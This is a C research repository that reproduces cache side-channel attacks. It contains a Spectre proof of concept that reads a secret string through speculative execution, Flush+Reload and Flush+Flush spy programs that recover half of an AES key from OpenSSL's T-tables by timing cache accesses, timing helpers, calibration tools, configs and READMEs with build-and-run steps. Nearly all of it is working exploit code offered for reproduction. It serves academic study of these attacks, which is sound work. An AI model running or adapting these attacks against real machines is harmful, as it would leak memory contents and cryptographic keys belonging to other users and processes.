text:
/*********************************************************************
*
* Spectre PoC
*
* This source code originates from the example code provided in the
* "Spectre Attacks: Exploiting Speculative Execution" paper found at
* https://spectreattack.com/spectre.pdf
*
* Minor modifications have been made to fix compilation errors and
* improve documentation where possible.
*
**********************************************************************/

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#ifdef _MSC_VER
#include <intrin.h> /* for rdtsc, rdtscp, clflush */
#pragma optimize("gt",on)
#else
#include <x86intrin.h> /* for rdtsc, rdtscp, clflush */
#endif /* ifdef _MSC_VER */

/* Automatically detect if SSE2 is not available when SSE is advertized */
#ifdef _MSC_VER
/* MSC */
#if _M_IX86_FP==1
#define NOSSE2
#endif
#else
/* Not MSC */
#if defined(__SSE__) && !defined(__SSE2__)
#define NOSSE2
#endif
#endif /* ifdef _MSC_VER */

#ifdef NOSSE2
#define NORDTSCP
#define NOMFENCE
#define NOCLFLUSH
#endif

/********************************************************************
Victim code.
********************************************************************/
#include <sys/time.h>

//TIME STAMP

static struct timeval tm1;

static void timer_start()
{
    gettimeofday(&tm1, NULL);
}

static void timer_stop()
{
    struct timeval tm2;
    gettimeofday(&tm2, NULL);

    unsigned long long t = 1000 * (tm2.tv_sec - tm1.tv_sec) + (tm2.tv_usec - tm1.tv_usec) / 1000;
    printf("%llu ms\n", t);
}

// TIME STAMP END

unsigned int array1_size = 16;
uint8_t unused1[64];
uint8_t array1[16] = {
  1,
  2,
  3,
  4,
  5,
  6,
  7,
  8,
  9,
  10,
  11,
  12,
  13,
  14,
  15,
  16
};
uint8_t unused2[64];
uint8_t array2[256 * 512];

char * secret = "The Magic Words are Squeamish Ossifrage.";

uint8_t temp = 0; /* Used so compiler won’t optimize out victim_function() */

#ifdef LINUX_KERNEL_MITIGATION
/* From https://github.com/torvalds/linux/blob/cb6416592bc2a8b731dabcec0d63cda270764fc6/arch/x86/include/asm/barrier.h#L27 */
/**
 * array_index_mask_nospec() - generate a mask that is ~0UL when the
 * 	bounds check succeeds and 0 otherwise
 * @index: array element index
 * @size: number of elements in array
 *
 * Returns:
 *     0 - (index < size)
 */
static inline unsigned long array_index_mask_nospec(unsigned long index,
		unsigned long size)
{
	unsigned long mask;

	__asm__ __volatile__ ("cmp %1,%2; sbb %0,%0;"
			:"=r" (mask)
			:"g"(size),"r" (index)
			:"cc");
	return mask;
}
#endif

void victim_function(size_t x) {
  if (x < array1_size) {
#ifdef INTEL_MITIGATION
		/*
		 * According to Intel et al, the best way to mitigate this is to
		 * add a serializing instruction after the boundary check to force
		 * the retirement of previous instructions before proceeding to
		 * the read.
		 * See https://newsroom.intel.com/wp-content/uploads/sites/11/2018/01/Intel-Analysis-of-Speculative-Execution-Side-Channels.pdf
		 */
		_mm_lfence();
#endif
#ifdef LINUX_KERNEL_MITIGATION
    x &= array_index_mask_nospec(x, array1_size);
#endif
    temp &= array2[array1[x] * 512];
  }
}

/********************************************************************
Analysis code
********************************************************************/
#ifdef NOCLFLUSH
#define CACHE_FLUSH_ITERATIONS 2048
#define CACHE_FLUSH_STRIDE 4096
uint8_t cache_flush_array[CACHE_FLUSH_STRIDE * CACHE_FLUSH_ITERATIONS];

/* Flush memory using long SSE instructions */
void flush_memory_sse(uint8_t * addr)
{
  float * p = (float *)addr;
  float c = 0.f;
  __m128 i = _mm_setr_ps(c, c, c, c);

  int k, l;
  /* Non-sequential memory addressing by looping through k by l */
  for (k = 0; k < 4; k++)
    for (l = 0; l < 4; l++)
      _mm_stream_ps(&p[(l * 4 + k) * 4], i);
}
#endif

/* Report best guess in value[0] and runner-up in value[1] */
void readMemoryByte(int cache_hit_threshold, size_t malicious_x, uint8_t value[2], int score[2]) {
  static int results[256];
  int tries, i, j, k, mix_i;
  unsigned int junk = 0;
  size_t training_x, x;
  register uint64_t time1, time2;
  volatile uint8_t * addr;

#ifdef NOCLFLUSH
  int junk2 = 0;
  int l;
  (void)junk2;
#endif

  for (i = 0; i < 256; i++)
    results[i] = 0;
  for (tries = 999; tries > 0; tries--) {

#ifndef NOCLFLUSH
    /* Flush array2[256*(0..255)] from cache */
    for (i = 0; i < 256; i++)
      _mm_clflush( & array2[i * 512]); /* intrinsic for clflush instruction */
#else
    /* Flush array2[256*(0..255)] from cache
       using long SSE instruction several times */
    for (j = 0; j < 16; j++)
      for (i = 0; i < 256; i++)
        flush_memory_sse( & array2[i * 512]);
#endif

    /* 30 loops: 5 training runs (x=training_x) per attack run (x=malicious_x) */
    training_x = tries % array1_size;
    for (j = 29; j >= 0; j--) {
#ifndef NOCLFLUSH
      _mm_clflush( & array1_size);
#else
      /* Alternative to using clflush to flush the CPU cache */
      /* Read addresses at 4096-byte intervals out of a large array.
         Do this around 2000 times, or more depending on CPU cache size. */

      for(l = CACHE_FLUSH_ITERATIONS * CACHE_FLUSH_STRIDE - 1; l >= 0; l-= CACHE_FLUSH_STRIDE) {
        junk2 = cache_flush_array[l];
      }
#endif

      /* Delay (can also mfence) */
      for (volatile int z = 0; z < 100; z++) {}

      /* Bit twiddling to set x=training_x if j%6!=0 or malicious_x if j%6==0 */
      /* Avoid jumps in case those tip off the branch predictor */
      x = ((j % 6) - 1) & ~0xFFFF; /* Set x=FFF.FF0000 if j%6==0, else x=0 */
      x = (x | (x >> 16)); /* Set x=-1 if j&6=0, else x=0 */
      x = training_x ^ (x & (malicious_x ^ training_x));

      /* Call the victim! */
      victim_function(x);

    }

    /* Time reads. Order is lightly mixed up to prevent stride prediction */
    for (i = 0; i < 256; i++) {
      mix_i = ((i * 167) + 13) & 255;
      addr = & array2[mix_i * 512];

    /*
    We need to accuratly measure the memory access to the current index of the
    array so we can determine which index was cached by the malicious mispredicted code.

    The best way to do this is to use the rdtscp instruction, which measures current
    processor ticks, and is also serialized.
    */

#ifndef NORDTSCP
      time1 = __rdtscp( & junk); /* READ TIMER */
      junk = * addr; /* MEMORY ACCESS TO TIME */
      time2 = __rdtscp( & junk) - time1; /* READ TIMER & COMPUTE ELAPSED TIME */
#else

    /*
    The rdtscp instruction was instroduced with the x86-64 extensions.
    Many older 32-bit processors won't support this, so we need to use
    the equivalent but non-serialized tdtsc instruction instead.
    */

#ifndef NOMFENCE
      /*
      Since the rdstc instruction isn't serialized, newer processors will try to
      reorder it, ruining its value as a timing mechanism.
      To get around this, we use the mfence instruction to introduce a memory
      barrier and force serialization. mfence is used because it is portable across
      Intel and AMD.
      */

      _mm_mfence();
      time1 = __rdtsc(); /* READ TIMER */
      _mm_mfence();
      junk = * addr; /* MEMORY ACCESS TO TIME */
      _mm_mfence();
      time2 = __rdtsc() - time1; /* READ TIMER & COMPUTE ELAPSED TIME */
      _mm_mfence();
#else
      /*
      The mfence instruction was introduced with the SSE2 instruction set, so
      we have to ifdef it out on pre-SSE2 processors.
      Luckily, these older processors don't seem to reorder the rdtsc instruction,
      so not having mfence on older processors is less of an issue.
      */

      time1 = __rdtsc(); /* READ TIMER */
      junk = * addr; /* MEMORY ACCESS TO TIME */
      time2 = __rdtsc() - time1; /* READ TIMER & COMPUTE ELAPSED TIME */
#endif
#endif
      if ((int)time2 <= cache_hit_threshold && mix_i != array1[tries % array1_size])
        results[mix_i]++; /* cache hit - add +1 to score for this value */
    }

    /* Locate highest & second-highest results results tallies in j/k */
    j = k = -1;
    for (i = 0; i < 256; i++) {
      if (j < 0 || results[i] >= results[j]) {
        k = j;
        j = i;
      } else if (k < 0 || results[i] >= results[k]) {
        k = i;
      }
    }
    if (results[j] >= (2 * results[k] + 5) || (results[j] == 2 && results[k] == 0))
      break; /* Clear success if best is > 2*runner-up + 5 or 2/0) */
  }
  results[0] ^= junk; /* use junk so code above won’t get optimized out*/
  value[0] = (uint8_t) j;
  score[0] = results[j];
  value[1] = (uint8_t) k;
  score[1] = results[k];
}

/*
*  Command line arguments:
*  1: Cache hit threshold (int)
*  2: Malicious address start (size_t)
*  3: Malicious address count (int)
*/
int main(int argc,
  const char * * argv) {

  /* Default to a cache hit threshold of 80 */
  int cache_hit_threshold = 80;

  /* Default for malicious_x is the secret string address */
  size_t malicious_x = (size_t)(secret - (char * ) array1);

  /* Default addresses to read is 40 (which is the length of the secret string) */
  int len = 40;

  int score[2];
  uint8_t value[2];
  int i;

  #ifdef NOCLFLUSH
  for (i = 0; i < (int)sizeof(cache_flush_array); i++) {
    cache_flush_array[i] = 1;
  }
  #endif

  for (i = 0; i < (int)sizeof(array2); i++) {
    array2[i] = 1; /* write to array2 so in RAM not copy-on-write zero pages */
  }

  /* Parse the cache_hit_threshold from the first command line argument.
     (OPTIONAL) */
  if (argc >= 2) {
    sscanf(argv[1], "%d", &cache_hit_threshold);
  }

  /* Parse the malicious x address and length from the second and third
     command line argument. (OPTIONAL) */
  if (argc >= 4) {
    sscanf(argv[2], "%p", (void * * )( &malicious_x));

    /* Convert input value into a pointer */
    malicious_x -= (size_t) array1;

    sscanf(argv[3], "%d", &len);
  }

  /* Print git commit hash */
  #ifdef GIT_COMMIT_HASH
    printf("Version: commit " GIT_COMMIT_HASH "\n");
  #endif

  /* Print cache hit threshold */
  printf("Using a cache hit threshold of %d.\n", cache_hit_threshold);

  /* Print build configuration */
  printf("Build: ");
  #ifndef NORDTSCP
    printf("RDTSCP_SUPPORTED ");
  #else
    printf("RDTSCP_NOT_SUPPORTED ");
  #endif
  #ifndef NOMFENCE
    printf("MFENCE_SUPPORTED ");
  #else
    printf("MFENCE_NOT_SUPPORTED ");
  #endif
  #ifndef NOCLFLUSH
    printf("CLFLUSH_SUPPORTED ");
  #else
    printf("CLFLUSH_NOT_SUPPORTED ");
  #endif
  #ifdef INTEL_MITIGATION
    printf("INTEL_MITIGATION_ENABLED ");
  #else
    printf("INTEL_MITIGATION_DISABLED ");
  #endif
  #ifdef LINUX_KERNEL_MITIGATION
    printf("LINUX_KERNEL_MITIGATION_ENABLED ");
  #else
    printf("LINUX_KERNEL_MITIGATION_DISABLED ");
  #endif

  printf("\n");

  printf("Reading %d bytes:\n", len);
  //timer_start();
  /* Start the read loop to read each address */
  while (--len >= 0) {
    printf("Reading at malicious_x = %p... ", (void * ) malicious_x);

    /* Call readMemoryByte with the required cache hit threshold and
       malicious x address. value and score are arrays that are
       populated with the results.
    */
    readMemoryByte(cache_hit_threshold, malicious_x++, value, score);

    /* Display the results */
    printf("%s: ", (score[0] >= 2 * score[1] ? "Success" : "Unclear"));
    printf("0x%02X=’%c’ score=%d ", value[0],
      (value[0] > 31 && value[0] < 127 ? value[0] : '?'), score[0]);

    if (score[1] > 0) {
      printf("(second best: 0x%02X=’%c’ score=%d)", value[1],
      (value[1] > 31 && value[1] < 127 ? value[1] : '?'), score[1]);
    }

    printf("\n");
  }
  //timer_stop();
  return (0);
}


text:
CFLAGS += -std=c99 -O0

PROGRAM = spectre
SOURCE  = spectre.c

all: $(PROGRAM)

GIT_SHELL_EXIT := $(shell git status --porcelain 2> /dev/null >&2 ; echo $$?)

# It can be non-zero when not in git repository or git is not installed.
# It can happen when downloaded using github's "Download ZIP" option.
ifeq ($(GIT_SHELL_EXIT),0)
# Check if working dir is clean.
GIT_STATUS := $(shell git status --porcelain)
ifndef GIT_STATUS
GIT_COMMIT_HASH := $(shell git rev-parse HEAD)
CFLAGS += -DGIT_COMMIT_HASH='"$(GIT_COMMIT_HASH)"'
endif
endif

$(PROGRAM): $(SOURCE) ; $(CC) $(CFLAGS) -o $(PROGRAM) $(SOURCE)

clean: ; rm -f $(PROGRAM)

repo_name: ECLab-ITU/Cache-Side-Channel-Attacks

repo_language: C

mime_type: text/x-c


text:
# Spectre Attack Implementation code on x86

Spectre attack is proposed by Paul Kocher et. al. in their research paper entitled, Spectre Attacks: Exploiting Speculative Execution at 40th IEEE Symposium on Security and Privacy (S\&P'19) in 2019. This attack exploits un-authorized access to program memery by exploiting branch prediction and using cache-based side channel attack (Flush+Reload) as covert channel. This implmenentation use same code as proposed by authors with some modifications as done by (https://github.com/crozone/SpectrePoC).

## Machine Specifications:

Intel Core i7_4770 CPU @ 3.40GHz
CPU: 8, L1d Cache: 32KB, L1i Cache : 32KB L2 Cache : 256KB, L3 Cache : 8192 KB
Ubuntu 16.04.3 LTS, Kernel: Linux 4.10.0-28-generic

## Attack

```
	make
	./spectre 180
```

Default threshold for Flush+Reload is 80 on this attack configurations, where on our machine, it is 180. You should use threshold according to your machine.


text: ### This repository contains source code and experimental data of cache-based side-channel attacks on AES algorithm.


text:
#ifndef CACHEUTILS_H
#define CACHEUTILS_H

#ifndef HIDEMINMAX
#define MAX(X,Y) (((X) > (Y)) ? (X) : (Y))
#define MIN(X,Y) (((X) < (Y)) ? (X) : (Y))
#endif

uint64_t rdtsc_nofence() {
  uint64_t a, d;
  asm volatile ("rdtsc" : "=a" (a), "=d" (d));
  a = (d<<32) | a;
  return a;
}

uint64_t rdtsc() {
  uint64_t a, d;
  asm volatile ("mfence");
  asm volatile ("rdtsc" : "=a" (a), "=d" (d));
  a = (d<<32) | a;
  asm volatile ("mfence");
  return a;
}

uint64_t rdtsc_begin() {
  uint64_t a, d;
  asm volatile ("mfence\n\t"
    "CPUID\n\t"
    "RDTSCP\n\t"
    "mov %%rdx, %0\n\t"
    "mov %%rax, %1\n\t"
    "mfence\n\t"
    : "=r" (d), "=r" (a)
    :
    : "%rax", "%rbx", "%rcx", "%rdx");
  a = (d<<32) | a;
  return a;
}

uint64_t rdtsc_end() {
  uint64_t a, d;
  asm volatile("mfence\n\t"
    "RDTSCP\n\t"
    "mov %%rdx, %0\n\t"
    "mov %%rax, %1\n\t"
    "CPUID\n\t"
    "mfence\n\t"
    : "=r" (d), "=r" (a)
    :
    : "%rax", "%rbx", "%rcx", "%rdx");
  a = (d<<32) | a;
  return a;
}

void maccess(void* p)
{
  asm volatile ("movq (%0), %%rax\n"
    :
    : "c" (p)
    : "rax");
}

void flush(void* p) {
    asm volatile ("clflush 0(%0)\n"
      :
      : "c" (p)
      : "rax");
}

void prefetch(void* p)
{
  asm volatile ("prefetcht1 %0" : : "m" (p));
}

void longnop()
{
  asm volatile ("nop\nnop\nnop\nnop\nnop\nnop\nnop\nnop\n"
                "nop\nnop\nnop\nnop\nnop\nnop\nnop\nnop\n"
                "nop\nnop\nnop\nnop\nnop\nnop\nnop\nnop\n"
                "nop\nnop\nnop\nnop\nnop\nnop\nnop\nnop\n"
                "nop\nnop\nnop\nnop\nnop\nnop\nnop\nnop\n"
                "nop\nnop\nnop\nnop\nnop\nnop\nnop\nnop\n"
                "nop\nnop\nnop\nnop\nnop\nnop\nnop\nnop\n"
                "nop\nnop\nnop\nnop\nnop\nnop\nnop\nnop\n");
}
#endif


text:
#include <stdio.h>
#include <stdint.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include "openssl/aes.h"
#include <fcntl.h>
#include <sched.h>
#include <sys/mman.h>
#include "cacheutils.h"
#include <map>

unsigned char key[] =
{
  0x51, 0x4d, 0xab, 0x12, 0xff, 0xdd, 0xb3, 0x32,
  0x52, 0x8f, 0xbb, 0x1d, 0xec, 0x45, 0xce, 0xcc,
  0x4f, 0x6e, 0x9c, 0x2a, 0x15, 0x5f, 0x5f, 0x0b,
  0x25, 0x77, 0x6b, 0x70, 0xcd, 0xe2, 0xf7, 0x80
};

size_t sum;
size_t scount;

int timings[16][16];

char* base;
char* probe;
char* end;

int T[4] = {TABLE0, TABLE1, TABLE2, TABLE3};

int get_max_index(int timings[], int l){
  int res = 0;
  for (int i=0; i < l; i++){
   if (timings[i]>timings[res])
     res=i;
  }
  return res;
}

int main()
{

  int fd = open(OPENSSL "/libcrypto.so", O_RDONLY);
  size_t size = lseek(fd, 0, SEEK_END);
  if (size == 0)
    exit(-1);
  size_t map_size = size;
  if (map_size & 0xFFF != 0)
  {
    map_size |= 0xFFF;
    map_size += 1;
  }
  base = (char*) mmap(0, map_size, PROT_READ, MAP_SHARED, fd, 0);
  end = base + size;

  unsigned char plaintext[] =
  {
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0
  };
  unsigned char ciphertext[128];
  unsigned char restoredtext[128];

  printf("Key used for encryption\n");
  for (size_t j = 0; j < 16; ++j){
    printf("%02x ", key[j]);
  }

  printf("\n");

  AES_KEY key_struct;

  AES_set_encrypt_key(key, 128, &key_struct);

  uint64_t min_time = rdtsc();
  srand(min_time);
  sum = 0;
  size_t l = 0;

  for (size_t b =0; b < 16; ++b)
  {
    for (size_t byte = 0; byte < 256; byte += 16)
    {
      unsigned char key_guess = byte;
      probe = base + T[b % 4] + 64 * l;
      size_t count=0;

      for (size_t i = 0; i < NUMBER_OF_ENCRYPTIONS; ++i)
      {
        for (size_t j = 1; j < 16; ++j){
          plaintext[j] = rand() % 256;
        }

  	    plaintext[b] = ((l * 16) + (rand() % 16)) ^ key_guess;

  	    flush(probe);
  	    AES_encrypt(plaintext, ciphertext, &key_struct);
  	    sched_yield();
  	    size_t time = rdtsc();
  	    maccess(probe);
  	    size_t delta = rdtsc() - time;
  	    sched_yield();
  	    if (delta < THRESHOLD)
  	    {
  		  	count++;
  	    }
  	    sched_yield();
  	    timings[b][byte/16] = count;
  	    sched_yield();
      }

    }

    int tmp[16];

    for (size_t byte = 0; byte < 16; ++byte)
    {
      tmp[byte] = timings[b][byte];
    }

    int max=get_max_index(tmp,16);
    printf("%x  ", max);

  }

  printf("\n");

  for (size_t b = 0; b < 16; ++b)
  {
    for (size_t byte=0; byte < 16; ++byte)
    {
      printf("%6u ", timings[b][byte]);
    }
    printf("\n");
  }

  printf("\n");
  close(fd);
  munmap(base, map_size);
  fflush(stdout);
  return 0;
}


text:
include config
export

LD_LIBRARY_PATH = $(OPENSSL)

all: spy
clean:
	rm -f *.o spy
spy: spy.cpp cacheutils.h
	g++ -DOPENSSL=\"$(OPENSSL)\" -DNUMBER_OF_ENCRYPTIONS=$(NUMBER_OF_ENCRYPTIONS) -DTHRESHOLD=$(THRESHOLD) -DTABLE0=$(TABLE0) -DTABLE1=$(TABLE1) -DTABLE2=$(TABLE2) -DTABLE3=$(TABLE3) -std=gnu++11 -O0 -o $@ $< -I$(OPENSSL)/include -L$(OPENSSL) -lcrypto -Wl,-rpath=$(OPENSSL)


text:
OPENSSL="/home/ECLab/Desktop/SCA/Victims/openssl-0.9.7l"
NUMBER_OF_ENCRYPTIONS=16000
THRESHOLD=180
TABLE0 = 0x100f00
TABLE1 = 0x100700
TABLE2 = 0xfff00
TABLE3 = 0xff700


text:
# Flush+Reload Attack Implementation on AES with Half Key Recovery

Flush+Reload is Cache Side-Channel Attack that was originally proposed by Yuval Yarom and Katrina Falkner of the The University of Adelaide in their paper entitled, Flush+Reload: a High Resolution, Low Noise, L3 Cache Side-Channel Attack at 23rd USENIX Security Symposium in 2014. This attack was proposed on RSA Cryptosystem. Later, Danial Gruss extended the work on AES cryptosystem. This repository contains the code for Flush+Reload attack on AES cryptosystem with half key recovery as implemented by Daniel Gruss. We have reproduced this attack in our own settings/system configuration for experiments. Implementation details are provided in the following.

## AES T-Table Implementations:

Advance Encryption Standard (AES) is widely used symmetric-key encryption algorithm standardised by National Institute of Standards and Technology in 2001.The T-table is optimisation of AES algorithm. Although it requires more memory as compared to standard algorithm, it offers superior performance in implementation. Most libraries use T-table optimisations in their implementations. Bernstein et al. in their paper Cache-timing attacks on AES have presented timing Side-Channel attacks on AES algorithm at first.

## Machine Specifications:

Intel Core i7_4770 CPU @ 3.40GHz
CPU: 8, L1d Cache: 32KB, L1i Cache : 32KB L2 Cache : 256KB, L3 Cache : 8192 KB
Ubuntu 16.04.3 LTS, Kernel: Linux 4.10.0-28-generic

## AES Library:

We have used 2 version of OpenSSL library, i.e., OpenSSL-0.9.7l and OpenSSL-1.0.1f. Following commands are used to compile library.

```
	./config -shared no-hw no-asm
	make
```

## Threshold Calculation:

This implantation contains a tool to generate memory access timings for READ operation from both cache and main memory. Threshold is taken as average of cache and main memory access time for this implementation, Threshold varies for different machines. This tool requires gnuplot and its dependencies must be installed on machine before usage. Threshold on our specified machine is 180-cycles.

## Attack Files (spy.c):

This attack monitors first round of AES encryption. By using probabilistic method and recorded stats of caches, we are able to successfully create upper half bytes of secret key. Attack is compiled using ?make? command.

## Configurations:

This attack requires some machine specific details, you need to edit ?config? file and set it according to your machine, such as:

```
OPENSSL: Contains path of OpenSSL Library
NUMBER_OF_ENCRYPTIONS: Minimum 250, More rounds mean more accurate results

THRESHOLD: Your machine threshold.
TABLE0: AES T-Table 0 starting address
TABLE1: AES T-Table 1 starting address
TABLE2: AES T-Table 2 starting address
TABLE3: AES T-Table 3 starting address
```


text:
clear
reset
set key off
set border 3
set auto

set xrange[0:600]
set xtics 20

# Make some suitable labels.
set title "Flush+Reload Threshold" font ",18"
set xlabel "Cycles" font ",18"
set ylabel "Samples" font ",18"

set terminal png enhanced font "arial 14" size 1200, 800
ft="png"
# Set the output-file name.
set output "threshold.png"

set style histogram clustered gap 1
set style fill solid border -1

binwidth=0.8
set boxwidth binwidth
bin(x,width)=width*floor(x/width) + binwidth/2.0

plot 'values.dat' using 0:1 smooth freq with boxes lc "red", 'values.dat' using 0:2 smooth freq with boxes lc "green"


text:
#include <stdint.h>
#include <stdio.h>
#include <string.h>
#include <sched.h>
#include "cacheutils.h"

size_t array[5*1024];

size_t hit_histogram[600];
size_t miss_histogram[600];

size_t onlyreload(size_t* addr)
{
  maccess(addr);
  maccess(addr);
  size_t time = rdtsc();
  maccess(addr);
  size_t delta = rdtsc() - time;
  return delta;
}

size_t flushandreload(size_t* addr)
{
  flush(addr);
  size_t time = rdtsc();
  maccess(addr);
  size_t delta = rdtsc() - time;
  flush(addr);
  return delta;
}

int main(int argc, char** argv)
{
  memset(array,-1,5*1024*sizeof(size_t));
  maccess(array + 2*1024);
  sched_yield();
  for (int i = 0; i < 1*1024*1024; ++i)
  {
    size_t d = onlyreload(array+2*1024);
    hit_histogram[MIN(599,d)]++;
    for (size_t i = 0; i < 30; ++i);
      sched_yield();
  }
  flush(array+1024);
  for (int i = 0; i < 1*1024*1024; ++i)
  {
    size_t d = flushandreload(array+2*1024);
    miss_histogram[MIN(599,d)]++;
    for (size_t i = 0; i < 30; ++i);
      sched_yield();
  }
  size_t hit_max = 0;
  size_t hit_max_i = 0;
  size_t miss_min_i = 0;
  for (size_t i = 0; i < 600; ++i)
  {
    printf("%zu, %zu\n",hit_histogram[i],miss_histogram[i]);
  }
    //printf("%p \n", array);

  return 0;
}


text:
# Always re-run the benchmark.
.PHONY: threshold.png
benchmark.png: threshold threshold.gnuplot
	./threshold > values.dat
	gnuplot threshold.gnuplot

calibration: threshold.c cacheutils.h
	gcc -std=gnu11 -O0 -o $@ $@.c


text:
#include <stdio.h>
#include <stdint.h>
#include <unistd.h>
#include <stdlib.h>
#include "openssl/aes.h"
#include <fcntl.h>
#include <sched.h>
#include <sys/mman.h>
#include "cacheutils.h"
#include <map>

unsigned char key[] =
{
  0x51, 0x4d, 0xab, 0x12, 0xff, 0xdd, 0xb3, 0x32,
  0x52, 0x8f, 0xbb, 0x1d, 0xec, 0x45, 0xce, 0xcc,
  0x4f, 0x6e, 0x9c, 0x2a, 0x15, 0x5f, 0x5f, 0x0b,
  0x25, 0x77, 0x6b, 0x70, 0xcd, 0xe2, 0xf7, 0x80
};

size_t sum;
size_t scount;

int timings[16][16];

char* base;
char* probe;
char* end;
int T[4] = {TABLE0, TABLE1, TABLE2, TABLE3};

int get_max_index(int timings[], int l){
  int res = 0;
  for (int i=0; i < l; i++){
   if (timings[i]>timings[res])
     res=i;
  }
  return res;
}

int main()
{
  int fd = open(OPENSSL "/libcrypto.so", O_RDONLY);
  size_t size = lseek(fd, 0, SEEK_END);
  if (size == 0)
    exit(-1);
  size_t map_size = size;
  if (map_size & 0xFFF != 0)
  {
    map_size |= 0xFFF;
    map_size += 1;
  }
  base = (char*) mmap(0, map_size, PROT_READ, MAP_SHARED, fd, 0);
  end = base + size;

  unsigned char plaintext[] =
  {
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0
  };
  unsigned char ciphertext[128];
  unsigned char restoredtext[128];

  printf("Key used for encryption\n");
  for (size_t j = 0; j < 16; ++j){
    printf("%02x ", key[j]);
  }

  printf("\n");

  AES_KEY key_struct;

  AES_set_encrypt_key(key, 128, &key_struct);

  for (size_t i = 0; i < 30; ++i)
    sched_yield();

  uint64_t min_time = rdtsc();
  srand(min_time);
  sum = 0;
  size_t l = 0;

  for (size_t b =0; b < 16; ++b)
  {
    for (size_t byte = 0; byte < 256; byte += 16)
    {
      unsigned char key_guess = byte;
      probe = base + T[b % 4] + 64 * l;
     	size_t count=0;

      for (size_t i = 0; i < NUMBER_OF_ENCRYPTIONS; ++i)
      {
       	for (size_t j = 1; j < 16; ++j)
        {
         	plaintext[j] = rand() % 256;
       	}

  	    plaintext[b] = ((l * 16) + (rand() % 16)) ^ key_guess;

        flush(probe);
        sched_yield();

        AES_encrypt(plaintext, ciphertext, &key_struct);

        for (size_t i = 0; i < 30; ++i)
          sched_yield();

  	    size_t time = rdtsc();
  	    flush(probe);
  	    size_t delta = rdtsc() - time;

  	    if (delta >= THRESHOLD)
  	    {
  			  count++;
  	    }

  	    sched_yield();
  	    timings[b][byte/16] = count;
  	    sched_yield();
      }

    }

    int tmp[16];

    for (size_t byte = 0; byte < 16; ++byte)
    {
    	tmp[byte] = timings[b][byte];
    }

    int max=get_max_index(tmp,16);
    printf("%x  ", max);

  }

  printf("\n");

  for (size_t b = 0; b < 16; ++b)
  {
    for (size_t byte=0; byte < 16; ++byte)
    {
      printf("%6u ", timings[b][byte]);
    }
    printf("\n");
  }

  printf("\n");
  close(fd);
  munmap(base, map_size);
  fflush(stdout);
  return 0;
}


text:
include config
export

LD_LIBRARY_PATH = $(OPENSSL)

all: clean spy
clean:
	rm -f *.o spy
spy: spy.cpp cacheutils.h
	g++ -DOPENSSL=\"$(OPENSSL)\" -DNUMBER_OF_ENCRYPTIONS=$(NUMBER_OF_ENCRYPTIONS) -DTHRESHOLD=$(THRESHOLD) -DTABLE0=$(TABLE0) -DTABLE1=$(TABLE1) -DTABLE2=$(TABLE2) -DTABLE3=$(TABLE3) -std=gnu++11 -O0 -o $@ $< -I$(OPENSSL)/include -L$(OPENSSL) -lcrypto -Wl,-rpath=$(OPENSSL)


text:
OPENSSL="/home/ECLab/Desktop/SCA/Victims/openssl-0.9.7l"
NUMBER_OF_ENCRYPTIONS=25000
THRESHOLD=156
TABLE0 = 0x100f00
TABLE1 = 0x100700
TABLE2 = 0xfff00
TABLE3 = 0xff700


text:
# Flush+Flush Attack Implementation on AES with Half Key Recovery

Flush+Flush is Cache Side-Channel Attack that was originally proposed by Daniel Gruss et al. of the Graz University of Technology, Austria in their paper entitled, Flush+Flush: A Fast and Stealthy Cache Attack at DIMVA in 2016. This repository contains the code for Flush+Flush attack on AES cryptosystem with half key recovery as implemented by Daniel Gruss. We have reproduced this attack in our own settings/system configuration for experiments. Implementation details are provided in the following.

## AES T-Table Implementations:

Advance Encryption Standard (AES) is widely used symmetric-key encryption algorithm standardised by National Institute of Standards and Technology in 2001.The T-table is optimisation of AES algorithm. Although it requires more memory as compared to standard algorithm, it offers superior performance in implementation. Most libraries use T-table optimisations in their implementations. Bernstein et al. in their paper Cache-timing attacks on AES have presented timing Side-Channel attacks on AES algorithm at first.

## Machine Specifications:

Intel Core i7_4770 CPU @ 3.40GHz
CPU: 8, L1d Cache: 32KB, L1i Cache : 32KB L2 Cache : 256KB, L3 Cache : 8192 KB
Ubuntu 16.04.3 LTS, Kernel: Linux 4.10.0-28-generic

## AES Library:

We have used 2 version of OpenSSL library, i.e., OpenSSL-0.9.7l and OpenSSL-1.0.1f. Following commands are used to compile library.

```
	./config -shared no-hw no-asm
	make
```

## Threshold Calculation:

This implantation contains a tool to generate access timings for clflush operation when data is present in cache and cache is empty. Threshold is taken as average of both timing values for this implementation, Threshold varies for different machines. This tool requires gnuplot and its dependencies must be installed on machine before usage. Threshold on our specified machine is 156-cycles.

## Attack Files (spy.c):
This attack monitors first round of AES encryption. By using probabilistic method and recorded stats of caches, we are able to successfully create upper half bytes of secret key. Attack is compiled using 'make' command.

## Configurations:
This attack requires some machine specific details, you need to edit 'config' file and set it according to your machine, such as:

```
OPENSSL: Contains path of OpenSSL Library
NUMBER_OF_ENCRYPTIONS: Minimum 350, More rounds mean more accurate results

THRESHOLD: Your machine threshold.
TABLE0: AES T-Table 0 starting address
TABLE1: AES T-Table 1 starting address
TABLE2: AES T-Table 2 starting address
TABLE3: AES T-Table 3 starting address
```


text:
clear
reset
set key off
set border 3
set auto

set xrange[0:300]
set xtics 10

# Make some suitable labels.
set title "Flush+Flush Threshold" font ",18"
set xlabel "Cycles" font ",18"
set ylabel "Samples" font ",18"

set terminal png enhanced font "arial 14" size 1200, 800
ft="png"
# Set the output-file name.
set output "threshold.png"

set style histogram clustered gap 1
set style fill solid border -1

binwidth=0.8
set boxwidth binwidth
bin(x,width)=width*floor(x/width) + binwidth/2.0

plot 'values.dat' using 0:1 smooth freq with boxes lc "red", 'values.dat' using 0:2 smooth freq with boxes lc "green"


text:
#include <stdint.h>
#include <stdio.h>
#include <string.h>
#include <sched.h>
#include "cacheutils.h"

size_t array[5*1024];

size_t hit_histogram[600];
size_t miss_histogram[600];

size_t onlyreload(size_t* addr)
{
  size_t time = rdtsc();
  flush(addr);
  size_t delta = rdtsc() - time;
  maccess(addr);
  maccess(addr);
  return delta;
}

size_t flushandreload(size_t* addr)
{
  size_t time = rdtsc();
  flush(addr);
  size_t delta = rdtsc() - time;
  flush(addr);
  return delta;
}

int main(int argc, char** argv)
{
  memset(array,-1,5*1024*sizeof(size_t));
  maccess(array + 2*1024);
  sched_yield();
  for (int i = 0; i < 1*1024*1024; ++i)
  {
    size_t d = onlyreload(array+2*1024);
